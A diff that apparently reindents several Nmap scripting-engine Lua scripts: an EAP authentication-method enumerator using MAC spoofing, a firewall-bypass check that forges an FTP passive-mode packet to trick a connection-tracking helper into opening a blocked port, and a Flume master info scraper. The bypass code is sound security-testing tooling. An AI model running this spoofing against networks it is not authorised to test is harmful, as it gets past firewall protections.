nmap.registry['duplicates']['nbstat'] = nmap.registry['duplicates']['nbstat'] or {}
|
||||
nmap.registry['duplicates']['nbstat'][host] = host.registry['nbstat']
|
||||
end
|
||||
if ( host.registry['nbstat'] ) then
|
||||
nmap.registry['duplicates']['nbstat'] = nmap.registry['duplicates']['nbstat'] or {}
|
||||
nmap.registry['duplicates']['nbstat'][host] = host.registry['nbstat']
|
||||
end
|
||||
|
||||
if ( host.mac_addr_src ) then
|
||||
nmap.registry['duplicates']['mac'] = nmap.registry['duplicates']['mac'] or {}
|
||||
nmap.registry['duplicates']['mac'][host] = true
|
||||
end
|
||||
if ( host.mac_addr_src ) then
|
||||
nmap.registry['duplicates']['mac'] = nmap.registry['duplicates']['mac'] or {}
|
||||
nmap.registry['duplicates']['mac'][host] = true
|
||||
end
|
||||
|
||||
return
|
||||
return
|
||||
end
|
||||
|
||||
local Actions = {
|
||||
|
||||
@@ -36,159 +36,159 @@ categories = { "broadcast", "safe" }
|
||||
|
||||
|
||||
prerule = function()
|
||||
return nmap.is_privileged()
|
||||
return nmap.is_privileged()
|
||||
end
|
||||
|
||||
local default_scan = {
|
||||
eap.eap_t.TLS,
|
||||
eap.eap_t.TTLS,
|
||||
eap.eap_t.PEAP,
|
||||
eap.eap_t.MSCHAP,
|
||||
eap.eap_t.TLS,
|
||||
eap.eap_t.TTLS,
|
||||
eap.eap_t.PEAP,
|
||||
eap.eap_t.MSCHAP,
|
||||
}
|
||||
|
||||
local UNKNOWN = "unknown"
|
||||
|
||||
action = function()
|
||||
|
||||
local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||
local arg_identity = stdnse.get_script_args(SCRIPT_NAME .. ".identity")
|
||||
local arg_scan = stdnse.get_script_args(SCRIPT_NAME .. ".scan")
|
||||
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
||||
local iface
|
||||
local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||
local arg_identity = stdnse.get_script_args(SCRIPT_NAME .. ".identity")
|
||||
local arg_scan = stdnse.get_script_args(SCRIPT_NAME .. ".scan")
|
||||
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
||||
local iface
|
||||
|
||||
-- trying with provided interface name
|
||||
if arg_interface then
|
||||
iface = nmap.get_interface_info(arg_interface)
|
||||
end
|
||||
-- trying with provided interface name
|
||||
if arg_interface then
|
||||
iface = nmap.get_interface_info(arg_interface)
|
||||
end
|
||||
|
||||
-- trying with default nmap interface
|
||||
if not iface then
|
||||
local iname = nmap.get_interface()
|
||||
if iname then
|
||||
iface = nmap.get_interface_info(iname)
|
||||
end
|
||||
end
|
||||
-- trying with default nmap interface
|
||||
if not iface then
|
||||
local iname = nmap.get_interface()
|
||||
if iname then
|
||||
iface = nmap.get_interface_info(iname)
|
||||
end
|
||||
end
|
||||
|
||||
-- failed
|
||||
if not iface then
|
||||
return "please specify an interface with -e"
|
||||
end
|
||||
stdnse.print_debug(1, "iface: %s", iface.device)
|
||||
-- failed
|
||||
if not iface then
|
||||
return "please specify an interface with -e"
|
||||
end
|
||||
stdnse.print_debug(1, "iface: %s", iface.device)
|
||||
|
||||
local timeout = (arg_timeout or 10) * 1000
|
||||
local timeout = (arg_timeout or 10) * 1000
|
||||
|
||||
stdnse.print_debug(2, "timeout: %s", timeout)
|
||||
stdnse.print_debug(2, "timeout: %s", timeout)
|
||||
|
||||
local pcap = nmap.new_socket()
|
||||
pcap:pcap_open(iface.device, 512, true, "ether proto 0x888e")
|
||||
local pcap = nmap.new_socket()
|
||||
pcap:pcap_open(iface.device, 512, true, "ether proto 0x888e")
|
||||
|
||||
|
||||
local identity = { name="anonymous", auth = {}, probe = -1 }
|
||||
local identity = { name="anonymous", auth = {}, probe = -1 }
|
||||
|
||||
if arg_identity then
|
||||
identity.name = tostring(arg_identity)
|
||||
end
|
||||
if arg_identity then
|
||||
identity.name = tostring(arg_identity)
|
||||
end
|
||||
|
||||
local scan
|
||||
if arg_scan == nil or type(arg_scan) ~= "table" or #arg_scan == 0 then
|
||||
scan = default_scan
|
||||
else
|
||||
scan = arg_scan
|
||||
end
|
||||
local scan
|
||||
if arg_scan == nil or type(arg_scan) ~= "table" or #arg_scan == 0 then
|
||||
scan = default_scan
|
||||
else
|
||||
scan = arg_scan
|
||||
end
|
||||
|
||||
local valid = false
|
||||
for i,v in ipairs(scan) do
|
||||
v = tonumber(v)
|
||||
if v ~= nil and v < 256 and v > 3 then
|
||||
stdnse.print_debug(1, "selected: %s", eap.eap_str[v] or "unassigned" )
|
||||
identity.auth[v] = UNKNOWN
|
||||
valid = true
|
||||
end
|
||||
end
|
||||
local valid = false
|
||||
for i,v in ipairs(scan) do
|
||||
v = tonumber(v)
|
||||
if v ~= nil and v < 256 and v > 3 then
|
||||
stdnse.print_debug(1, "selected: %s", eap.eap_str[v] or "unassigned" )
|
||||
identity.auth[v] = UNKNOWN
|
||||
valid = true
|
||||
end
|
||||
end
|
||||
|
||||
if not valid then
|
||||
return "no valid scan methods provided"
|
||||
end
|
||||
if not valid then
|
||||
return "no valid scan methods provided"
|
||||
end
|
||||
|
||||
local tried_all = false
|
||||
local tried_all = false
|
||||
|
||||
local start_time = nmap.clock_ms()
|
||||
eap.send_start(iface)
|
||||
local start_time = nmap.clock_ms()
|
||||
eap.send_start(iface)
|
||||
|
||||
while(nmap.clock_ms() - start_time < timeout) and not tried_all do
|
||||
local status, plen, l2_data, l3_data, time = pcap:pcap_receive()
|
||||
if (status) then
|
||||
stdnse.print_debug(2, "packet size: 0x%x", plen )
|
||||
local packet = eap.parse(l2_data .. l3_data)
|
||||
while(nmap.clock_ms() - start_time < timeout) and not tried_all do
|
||||
local status, plen, l2_data, l3_data, time = pcap:pcap_receive()
|
||||
if (status) then
|
||||
stdnse.print_debug(2, "packet size: 0x%x", plen )
|
||||
local packet = eap.parse(l2_data .. l3_data)
|
||||
|
||||
if packet then
|
||||
stdnse.print_debug(2, "packet valid")
|
||||
if packet then
|
||||
stdnse.print_debug(2, "packet valid")
|
||||
|
||||
-- respond to identity requests, using the same session id
|
||||
if packet.eap.type == eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then
|
||||
stdnse.print_debug(1, "server identity: %s",packet.eap.body.identity)
|
||||
eap.send_identity_response(iface, packet.eap.id, identity.name)
|
||||
end
|
||||
-- respond to identity requests, using the same session id
|
||||
if packet.eap.type == eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then
|
||||
stdnse.print_debug(1, "server identity: %s",packet.eap.body.identity)
|
||||
eap.send_identity_response(iface, packet.eap.id, identity.name)
|
||||
end
|
||||
|
||||
-- respond with NAK to every auth request to enumerate them until we get a failure
|
||||
if packet.eap.type ~= eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then
|
||||
stdnse.print_debug(1, "auth request: %s",eap.eap_str[packet.eap.type])
|
||||
identity.auth[packet.eap.type] = true
|
||||
-- respond with NAK to every auth request to enumerate them until we get a failure
|
||||
if packet.eap.type ~= eap.eap_t.IDENTITY and packet.eap.code == eap.code_t.REQUEST then
|
||||
stdnse.print_debug(1, "auth request: %s",eap.eap_str[packet.eap.type])
|
||||
identity.auth[packet.eap.type] = true
|
||||
|
||||
identity.probe = -1
|
||||
for i,v in pairs(identity.auth) do
|
||||
stdnse.print_debug(1, "identity.auth: %d %s",i,tostring(v))
|
||||
if v == UNKNOWN then
|
||||
identity.probe = i
|
||||
eap.send_nak_response(iface, packet.eap.id, i)
|
||||
break
|
||||
end
|
||||
end
|
||||
if identity.probe == -1 then tried_all = true end
|
||||
end
|
||||
identity.probe = -1
|
||||
for i,v in pairs(identity.auth) do
|
||||
stdnse.print_debug(1, "identity.auth: %d %s",i,tostring(v))
|
||||
if v == UNKNOWN then
|
||||
identity.probe = i
|
||||
eap.send_nak_response(iface, packet.eap.id, i)
|
||||
break
|
||||
end
|
||||
end
|
||||
if identity.probe == -1 then tried_all = true end
|
||||
end
|
||||
|
||||
-- retry on failure
|
||||
if packet.eap.code == eap.code_t.FAILURE then
|
||||
stdnse.print_debug(1, "auth failure")
|
||||
identity.auth[identity.probe] = false
|
||||
-- retry on failure
|
||||
if packet.eap.code == eap.code_t.FAILURE then
|
||||
stdnse.print_debug(1, "auth failure")
|
||||
identity.auth[identity.probe] = false
|
||||
|
||||
-- don't give up at the first failure!
|
||||
-- mac spoofing to avoid to wait too much
|
||||
local d = string.byte(iface.mac,6)
|
||||
d = (d + 1) % 256
|
||||
iface.mac = iface.mac:sub(1,5) .. bin.pack("C",d)
|
||||
-- don't give up at the first failure!
|
||||
-- mac spoofing to avoid to wait too much
|
||||
local d = string.byte(iface.mac,6)
|
||||
d = (d + 1) % 256
|
||||
iface.mac = iface.mac:sub(1,5) .. bin.pack("C",d)
|
||||
|
||||
tried_all = true
|
||||
for i,v in pairs(identity.auth) do
|
||||
if v == UNKNOWN then
|
||||
tried_all = false
|
||||
break
|
||||
end
|
||||
end
|
||||
if not tried_all then
|
||||
eap.send_start(iface)
|
||||
end
|
||||
end
|
||||
tried_all = true
|
||||
for i,v in pairs(identity.auth) do
|
||||
if v == UNKNOWN then
|
||||
tried_all = false
|
||||
break
|
||||
end
|
||||
end
|
||||
if not tried_all then
|
||||
eap.send_start(iface)
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
stdnse.print_debug(1, "packet invalid! wrong filter?")
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
stdnse.print_debug(1, "packet invalid! wrong filter?")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
local results = { ["name"] = ("Available authentication methods with identity=\"%s\" on interface %s"):format(identity.name, iface.device) }
|
||||
for i,v in pairs(identity.auth) do
|
||||
if v== true then
|
||||
table.insert(results, 1, ("%-8s %s"):format(tostring(v), eap.eap_str[i] or "unassigned" ))
|
||||
else
|
||||
table.insert(results, ("%-8s %s"):format(tostring(v), eap.eap_str[i] or "unassigned" ))
|
||||
end
|
||||
end
|
||||
local results = { ["name"] = ("Available authentication methods with identity=\"%s\" on interface %s"):format(identity.name, iface.device) }
|
||||
for i,v in pairs(identity.auth) do
|
||||
if v== true then
|
||||
table.insert(results, 1, ("%-8s %s"):format(tostring(v), eap.eap_str[i] or "unassigned" ))
|
||||
else
|
||||
table.insert(results, ("%-8s %s"):format(tostring(v), eap.eap_str[i] or "unassigned" ))
|
||||
end
|
||||
end
|
||||
|
||||
for i,v in ipairs(results) do
|
||||
stdnse.print_debug(1, "%s", tostring(v))
|
||||
end
|
||||
for i,v in ipairs(results) do
|
||||
stdnse.print_debug(1, "%s", tostring(v))
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, results)
|
||||
return stdnse.format_output(true, results)
|
||||
end
|
||||
|
||||
|
||||
@@ -43,234 +43,234 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"vuln", "intrusive"}
|
||||
|
||||
ftp_helper = {
|
||||
should_run = function(host, helperport)
|
||||
local helperport = helperport or 21
|
||||
-- IPv4 and IPv6 are supported
|
||||
if nmap.address_family() ~= 'inet' and nmap.address_family() ~= 'inet6' then
|
||||
return false
|
||||
should_run = function(host, helperport)
|
||||
local helperport = helperport or 21
|
||||
-- IPv4 and IPv6 are supported
|
||||
if nmap.address_family() ~= 'inet' and nmap.address_family() ~= 'inet6' then
|
||||
return false
|
||||
end
|
||||
|
||||
-- Test if helper port is open
|
||||
local testsock = nmap.new_socket()
|
||||
testsock:set_timeout(1000)
|
||||
local status, _ = testsock:connect(host.ip, helperport)
|
||||
testsock:close()
|
||||
if not status then
|
||||
stdnse.print_debug("%s Unable to connect to %s helper port.", SCRIPT_NAME, helperport)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end,
|
||||
|
||||
attack = function(host, helperport, targetport)
|
||||
local ethertype, payload
|
||||
local isIp4 = nmap.address_family() == 'inet' -- True if we are using IPv4. Otherwise, it is IPv6
|
||||
|
||||
if isIp4 then
|
||||
-- IPv4 payload
|
||||
payload = "227 Entering Passive Mode (" ..
|
||||
string.gsub(host.ip,"%.",",") .. "," ..
|
||||
bit.band(bit.rshift(targetport, 8), 0xff) ..
|
||||
"," .. bit.band(targetport, 0xff) ..
|
||||
")\r\n"
|
||||
ethertype = string.char(0x08, 0x00) -- Ethernet Type: IPv4
|
||||
|
||||
else
|
||||
-- IPv6 payload
|
||||
payload = "229 Extended Passive Mode OK (|||" .. targetport .. "|)\r\n"
|
||||
ethertype = string.char(0x86, 0xdd) -- Ethernet Type: IPv6
|
||||
end
|
||||
|
||||
helperport = helperport or 21
|
||||
local function spoof_ftp_packet(host, helperport, targetport)
|
||||
-- Sniffs the network for src host host.ip and src port helperport
|
||||
local filter = "src host " .. host.ip .. " and tcp src port " .. helperport
|
||||
local status, l2data, l3data
|
||||
local timeout = 1000
|
||||
local start = nmap.clock_ms()
|
||||
|
||||
-- Start sniffing
|
||||
local sniffer = nmap.new_socket()
|
||||
sniffer:set_timeout(100)
|
||||
sniffer:pcap_open(host.interface, 256, true, filter)
|
||||
|
||||
-- Until we get adequate packet
|
||||
while (nmap.clock_ms() - start) < timeout do
|
||||
local _
|
||||
status, _, l2data, l3data = sniffer:pcap_receive()
|
||||
if status and string.find(l3data, "220 ") then
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
-- Test if helper port is open
|
||||
local testsock = nmap.new_socket()
|
||||
testsock:set_timeout(1000)
|
||||
local status, _ = testsock:connect(host.ip, helperport)
|
||||
testsock:close()
|
||||
if not status then
|
||||
stdnse.print_debug("%s Unable to connect to %s helper port.", SCRIPT_NAME, helperport)
|
||||
return false
|
||||
-- Get ethernet values
|
||||
local f = packet.Frame:new(l2data)
|
||||
f:ether_parse()
|
||||
|
||||
local p = packet.Packet:new(l3data, #l3data)
|
||||
if isIp4 then
|
||||
if not p:ip_parse() then
|
||||
-- An error happened
|
||||
stdnse.print_debug("%s Couldn't parse IPv4 sniffed packet.", SCRIPT_NAME)
|
||||
sniffer:pcap_close()
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end,
|
||||
|
||||
attack = function(host, helperport, targetport)
|
||||
local ethertype, payload
|
||||
local isIp4 = nmap.address_family() == 'inet' -- True if we are using IPv4. Otherwise, it is IPv6
|
||||
|
||||
if isIp4 then
|
||||
-- IPv4 payload
|
||||
payload = "227 Entering Passive Mode (" ..
|
||||
string.gsub(host.ip,"%.",",") .. "," ..
|
||||
bit.band(bit.rshift(targetport, 8), 0xff) ..
|
||||
"," .. bit.band(targetport, 0xff) ..
|
||||
")\r\n"
|
||||
ethertype = string.char(0x08, 0x00) -- Ethernet Type: IPv4
|
||||
|
||||
else
|
||||
-- IPv6 payload
|
||||
payload = "229 Extended Passive Mode OK (|||" .. targetport .. "|)\r\n"
|
||||
ethertype = string.char(0x86, 0xdd) -- Ethernet Type: IPv6
|
||||
end
|
||||
|
||||
helperport = helperport or 21
|
||||
local function spoof_ftp_packet(host, helperport, targetport)
|
||||
-- Sniffs the network for src host host.ip and src port helperport
|
||||
local filter = "src host " .. host.ip .. " and tcp src port " .. helperport
|
||||
local status, l2data, l3data
|
||||
local timeout = 1000
|
||||
local start = nmap.clock_ms()
|
||||
|
||||
-- Start sniffing
|
||||
local sniffer = nmap.new_socket()
|
||||
sniffer:set_timeout(100)
|
||||
sniffer:pcap_open(host.interface, 256, true, filter)
|
||||
|
||||
-- Until we get adequate packet
|
||||
while (nmap.clock_ms() - start) < timeout do
|
||||
local _
|
||||
status, _, l2data, l3data = sniffer:pcap_receive()
|
||||
if status and string.find(l3data, "220 ") then
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
-- Get ethernet values
|
||||
local f = packet.Frame:new(l2data)
|
||||
f:ether_parse()
|
||||
|
||||
local p = packet.Packet:new(l3data, #l3data)
|
||||
if isIp4 then
|
||||
if not p:ip_parse() then
|
||||
-- An error happened
|
||||
stdnse.print_debug("%s Couldn't parse IPv4 sniffed packet.", SCRIPT_NAME)
|
||||
sniffer:pcap_close()
|
||||
return false
|
||||
end
|
||||
else
|
||||
if not p:ip6_parse() then
|
||||
-- An error happened
|
||||
stdnse.print_debug("%s Couldn't parse IPv6 sniffed packet.", SCRIPT_NAME)
|
||||
sniffer:pcap_close()
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
-- Spoof packet
|
||||
-- 1. Invert ethernet addresses
|
||||
f.frame_buf = f.mac_src .. f.mac_dst .. ethertype
|
||||
|
||||
-- 2. Modify packet payload
|
||||
p.buf = string.sub(p.buf, 1, p.tcp_data_offset) .. payload
|
||||
-- 3. Increment IP ID field (IPv4 packets)
|
||||
if isIp4 then
|
||||
p:ip_set_id(p.ip_id + 1)
|
||||
end
|
||||
|
||||
-- 4. Set TCP sequence number correctly using traffic data
|
||||
p:tcp_set_seq(p.tcp_seq + p.tcp_data_length)
|
||||
|
||||
-- 5. Update all checksums and lengths
|
||||
if isIp4 then
|
||||
-- Packet length field
|
||||
p:ip_set_len(#p.buf)
|
||||
p:ip_count_checksum()
|
||||
else
|
||||
-- Payload length field
|
||||
p:ip6_set_plen(#p.buf - p.tcp_offset)
|
||||
end
|
||||
p:tcp_count_checksum()
|
||||
|
||||
-- and finally, we send it.
|
||||
local dnet = nmap.new_dnet()
|
||||
dnet:ethernet_open(host.interface)
|
||||
dnet:ethernet_send(f.frame_buf .. p.buf)
|
||||
status = sniffer:pcap_receive()
|
||||
dnet:ethernet_close()
|
||||
return true
|
||||
else
|
||||
if not p:ip6_parse() then
|
||||
-- An error happened
|
||||
stdnse.print_debug("%s Couldn't parse IPv6 sniffed packet.", SCRIPT_NAME)
|
||||
sniffer:pcap_close()
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
local co = stdnse.new_thread(spoof_ftp_packet, host, helperport, targetport)
|
||||
-- Spoof packet
|
||||
-- 1. Invert ethernet addresses
|
||||
f.frame_buf = f.mac_src .. f.mac_dst .. ethertype
|
||||
|
||||
-- Wait for packet spoofing thread
|
||||
stdnse.sleep(1)
|
||||
-- Make connection to the target while packet the spoofing thread is sniffing for packets
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(3000)
|
||||
local status, _ = socket:connect(host.ip, helperport)
|
||||
if not status then
|
||||
-- Problem connecting to helper port
|
||||
stdnse.print_debug("%s Problem connecting to helper port %s.", SCRIPT_NAME, tostring(helperport))
|
||||
return
|
||||
end
|
||||
-- 2. Modify packet payload
|
||||
p.buf = string.sub(p.buf, 1, p.tcp_data_offset) .. payload
|
||||
-- 3. Increment IP ID field (IPv4 packets)
|
||||
if isIp4 then
|
||||
p:ip_set_id(p.ip_id + 1)
|
||||
end
|
||||
|
||||
-- wait packet spoofing thread to finish
|
||||
stdnse.sleep(1.5)
|
||||
socket:close()
|
||||
return
|
||||
end,
|
||||
-- 4. Set TCP sequence number correctly using traffic data
|
||||
p:tcp_set_seq(p.tcp_seq + p.tcp_data_length)
|
||||
|
||||
-- 5. Update all checksums and lengths
|
||||
if isIp4 then
|
||||
-- Packet length field
|
||||
p:ip_set_len(#p.buf)
|
||||
p:ip_count_checksum()
|
||||
else
|
||||
-- Payload length field
|
||||
p:ip6_set_plen(#p.buf - p.tcp_offset)
|
||||
end
|
||||
p:tcp_count_checksum()
|
||||
|
||||
-- and finally, we send it.
|
||||
local dnet = nmap.new_dnet()
|
||||
dnet:ethernet_open(host.interface)
|
||||
dnet:ethernet_send(f.frame_buf .. p.buf)
|
||||
status = sniffer:pcap_receive()
|
||||
dnet:ethernet_close()
|
||||
return true
|
||||
end
|
||||
|
||||
local co = stdnse.new_thread(spoof_ftp_packet, host, helperport, targetport)
|
||||
|
||||
-- Wait for packet spoofing thread
|
||||
stdnse.sleep(1)
|
||||
-- Make connection to the target while packet the spoofing thread is sniffing for packets
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(3000)
|
||||
local status, _ = socket:connect(host.ip, helperport)
|
||||
if not status then
|
||||
-- Problem connecting to helper port
|
||||
stdnse.print_debug("%s Problem connecting to helper port %s.", SCRIPT_NAME, tostring(helperport))
|
||||
return
|
||||
end
|
||||
|
||||
-- wait packet spoofing thread to finish
|
||||
stdnse.sleep(1.5)
|
||||
socket:close()
|
||||
return
|
||||
end,
|
||||
}
|
||||
|
||||
-- List of helpers
|
||||
local helpers = {
|
||||
ftp = ftp_helper, -- FTP (IPv4 and IPv6)
|
||||
ftp = ftp_helper, -- FTP (IPv4 and IPv6)
|
||||
}
|
||||
|
||||
local helper
|
||||
|
||||
hostrule = function(host)
|
||||
helper = stdnse.get_script_args(SCRIPT_NAME .. ".helper")
|
||||
helper = stdnse.get_script_args(SCRIPT_NAME .. ".helper")
|
||||
|
||||
if not nmap.is_privileged() then
|
||||
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
|
||||
if not nmap.registry[SCRIPT_NAME].rootfail then
|
||||
stdnse.print_verbose("%s lacks privileges.", SCRIPT_NAME )
|
||||
nmap.registry[SCRIPT_NAME].rootfail = true
|
||||
end
|
||||
return false
|
||||
if not nmap.is_privileged() then
|
||||
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
|
||||
if not nmap.registry[SCRIPT_NAME].rootfail then
|
||||
stdnse.print_verbose("%s lacks privileges.", SCRIPT_NAME )
|
||||
nmap.registry[SCRIPT_NAME].rootfail = true
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
if not host.interface then
|
||||
return false
|
||||
end
|
||||
if not host.interface then
|
||||
return false
|
||||
end
|
||||
|
||||
if helper and not helpers[helper] then
|
||||
stdnse.print_debug("%s %s helper not supported at the moment.", SCRIPT_NAME, helper)
|
||||
return false
|
||||
end
|
||||
if helper and not helpers[helper] then
|
||||
stdnse.print_debug("%s %s helper not supported at the moment.", SCRIPT_NAME, helper)
|
||||
return false
|
||||
end
|
||||
|
||||
return true
|
||||
return true
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local helperport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".helperport"))
|
||||
local targetport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".targetport"))
|
||||
local helpername
|
||||
local helperport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".helperport"))
|
||||
local targetport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".targetport"))
|
||||
local helpername
|
||||
|
||||
if targetport then
|
||||
-- We should check if target port is not already open
|
||||
local testsock = nmap.new_socket()
|
||||
testsock:set_timeout(1000)
|
||||
local status, _ = testsock:connect(host.ip, targetport)
|
||||
if status then
|
||||
stdnse.print_debug("%s %s target port already open.", SCRIPT_NAME, targetport)
|
||||
return nil
|
||||
end
|
||||
testsock:close()
|
||||
else
|
||||
-- If not target port specified, we try to get a filtered port,
|
||||
-- which would be more likely blocked by a firewall before looking for a closed one.
|
||||
local port = nmap.get_ports(host, nil, "tcp", "filtered") or nmap.get_ports(host, nil, "tcp", "closed")
|
||||
if port then
|
||||
targetport = port.number
|
||||
stdnse.print_debug("%s %s chosen as target port.", SCRIPT_NAME, targetport)
|
||||
else
|
||||
-- No closed or filtered ports to check on.
|
||||
stdnse.print_debug("%s Target port not specified and no closed or filtered port found.", SCRIPT_NAME)
|
||||
return
|
||||
end
|
||||
end
|
||||
-- If helper chosen by user
|
||||
if helper then
|
||||
if helpers[helper].should_run(host, helperport) then
|
||||
helpers[helper].attack(host, helperport, targetport)
|
||||
else
|
||||
return
|
||||
end
|
||||
-- If no helper chosen manually, we iterate over table to find a suitable one.
|
||||
else
|
||||
for i, helper in pairs(helpers) do
|
||||
if helper.should_run(host, helperport) then
|
||||
helpername = i
|
||||
stdnse.print_debug("%s %s chosen as helper.", SCRIPT_NAME, helpername)
|
||||
helper.attack(host, helperport, targetport)
|
||||
break
|
||||
end
|
||||
end
|
||||
if not helpername then
|
||||
stdnse.print_debug("%s no suitable helper found.", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
-- Then we check if target port is now open.
|
||||
if targetport then
|
||||
-- We should check if target port is not already open
|
||||
local testsock = nmap.new_socket()
|
||||
testsock:set_timeout(1000)
|
||||
local status, _ = testsock:connect(host.ip, targetport)
|
||||
testsock:close()
|
||||
if status then
|
||||
-- If we could connect, then port is open and firewall is vulnerable.
|
||||
local vulnstring = "Firewall vulnerable to bypass through " .. (helper or helpername) .. " helper. "
|
||||
.. (nmap.address_family() == 'inet' and "(IPv4)" or "(IPv6)")
|
||||
|
||||
return stdnse.format_output(true, vulnstring)
|
||||
stdnse.print_debug("%s %s target port already open.", SCRIPT_NAME, targetport)
|
||||
return nil
|
||||
end
|
||||
testsock:close()
|
||||
else
|
||||
-- If not target port specified, we try to get a filtered port,
|
||||
-- which would be more likely blocked by a firewall before looking for a closed one.
|
||||
local port = nmap.get_ports(host, nil, "tcp", "filtered") or nmap.get_ports(host, nil, "tcp", "closed")
|
||||
if port then
|
||||
targetport = port.number
|
||||
stdnse.print_debug("%s %s chosen as target port.", SCRIPT_NAME, targetport)
|
||||
else
|
||||
-- No closed or filtered ports to check on.
|
||||
stdnse.print_debug("%s Target port not specified and no closed or filtered port found.", SCRIPT_NAME)
|
||||
return
|
||||
end
|
||||
end
|
||||
-- If helper chosen by user
|
||||
if helper then
|
||||
if helpers[helper].should_run(host, helperport) then
|
||||
helpers[helper].attack(host, helperport, targetport)
|
||||
else
|
||||
return
|
||||
end
|
||||
-- If no helper chosen manually, we iterate over table to find a suitable one.
|
||||
else
|
||||
for i, helper in pairs(helpers) do
|
||||
if helper.should_run(host, helperport) then
|
||||
helpername = i
|
||||
stdnse.print_debug("%s %s chosen as helper.", SCRIPT_NAME, helpername)
|
||||
helper.attack(host, helperport, targetport)
|
||||
break
|
||||
end
|
||||
end
|
||||
if not helpername then
|
||||
stdnse.print_debug("%s no suitable helper found.", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
-- Then we check if target port is now open.
|
||||
local testsock = nmap.new_socket()
|
||||
testsock:set_timeout(1000)
|
||||
local status, _ = testsock:connect(host.ip, targetport)
|
||||
testsock:close()
|
||||
if status then
|
||||
-- If we could connect, then port is open and firewall is vulnerable.
|
||||
local vulnstring = "Firewall vulnerable to bypass through " .. (helper or helpername) .. " helper. "
|
||||
.. (nmap.address_family() == 'inet' and "(IPv4)" or "(IPv6)")
|
||||
|
||||
return stdnse.format_output(true, vulnstring)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -86,131 +86,131 @@ categories = {"default", "discovery", "safe"}
|
||||
|
||||
|
||||
portrule = function(host, port)
|
||||
-- Run for the special port number, or for any HTTP-like service that is
|
||||
-- not on a usual HTTP port.
|
||||
return shortport.port_or_service ({35871}, "flume-master")(host, port)
|
||||
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
||||
-- Run for the special port number, or for any HTTP-like service that is
|
||||
-- not on a usual HTTP port.
|
||||
return shortport.port_or_service ({35871}, "flume-master")(host, port)
|
||||
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
||||
end
|
||||
|
||||
function add_target(hostname)
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, hostname))
|
||||
local status,err = target.add(hostname)
|
||||
end
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, hostname))
|
||||
local status,err = target.add(hostname)
|
||||
end
|
||||
end
|
||||
|
||||
-- ref: http://lua-users.org/wiki/TableUtils
|
||||
function table_count(tt, item)
|
||||
local count
|
||||
count = 0
|
||||
for ii,xx in pairs(tt) do
|
||||
if item == xx then count = count + 1 end
|
||||
end
|
||||
return count
|
||||
local count
|
||||
count = 0
|
||||
for ii,xx in pairs(tt) do
|
||||
if item == xx then count = count + 1 end
|
||||
end
|
||||
return count
|
||||
end
|
||||
|
||||
parse_page = function( host, port, uri, intresting_keys )
|
||||
local result = {}
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" ))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
local body = response['body']:gsub("%%","%%%%")
|
||||
for name,value in string.gmatch(body,"<tr><th>([^][<]+)</th>%s*<td><div%sclass=[^][>]+>([^][<]+)") do
|
||||
stdnse.print_debug(1, ("%s: %s=%s "):format(SCRIPT_NAME,name,value:gsub("^%s*(.-)%s*$", "%1")))
|
||||
if nmap.verbosity() > 1 then
|
||||
result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1"))
|
||||
else
|
||||
for i,v in ipairs(intresting_keys) do
|
||||
if name:match(("^%s"):format(v)) then
|
||||
result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1"))
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return result
|
||||
local result = {}
|
||||
local response = http.get( host, port, uri )
|
||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" ))
|
||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||
local body = response['body']:gsub("%%","%%%%")
|
||||
for name,value in string.gmatch(body,"<tr><th>([^][<]+)</th>%s*<td><div%sclass=[^][>]+>([^][<]+)") do
|
||||
